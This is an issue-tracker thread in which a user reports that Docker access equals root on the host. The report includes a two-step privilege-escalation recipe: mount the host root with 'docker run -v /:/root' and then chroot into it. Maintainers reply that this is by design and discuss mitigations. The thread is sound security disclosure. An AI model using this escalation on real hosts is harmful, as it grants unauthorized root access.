If you have access to docker run you have root access on the host

[lex148]

Steps to reproduce:

As a restricted user that has access to docker.

1. Start docker mounting root

docker run -i -t -v /:/root ubuntu /bin/bash 

2. In the container chroot into root dir

 chroot /root 

You now have a shell with full root access on the host

Purposed solution:

Docker should not run as root. Docker should have its own user/group that has very limited access. This is the approach that apache postresql and many others take.

[ghost]

This was addressed in Docker 0.5.2. See #1417 and https://groups.google.com/forum/#!topic/docker-user/7j9quGgOtZQ.

[ghost]

http://docs.docker.io/en/latest/use/basics/#bind-docker-to-another-host-port-or-a-unix-socket too.

[lex148]

Yes the issue with the docker.sock file has been fixed that allowed everyone to have root access, but the security issue has not been fixed. a user can still break into root using docker.

[ghost]

There was no docker.sock issue.

In Docker 0.5.2 we switched from a port to a socket that's only accessible to root and users in the docker group to address the issue you've brought up.

[lex148]

I am aware of this change, however I do not believe the problem has been solved ( #1417 was marked Closed ). With the latest build, if you are a member of the group docker you can gain root access.

[jpetazzo]

This is by design.
This will be changed later, with either:

• user namespaces (allowing to map container UIDs to different UIDs outside
  the container, à la NFS root_squash)
• some configuration flag for "docker -d", allowing to restrict which host
  directories can be bind-mounted
• restricting some potentially dangerous options (-v, -privileged) to some
  clients.

Meanwhile, the rationale is pretty clear: only trusted users should have
access to the docker socket (meaning that running the API over TCP is
recommended only on a 100% trusted network).

[ghost]

I think this can be closed in favor of #1034.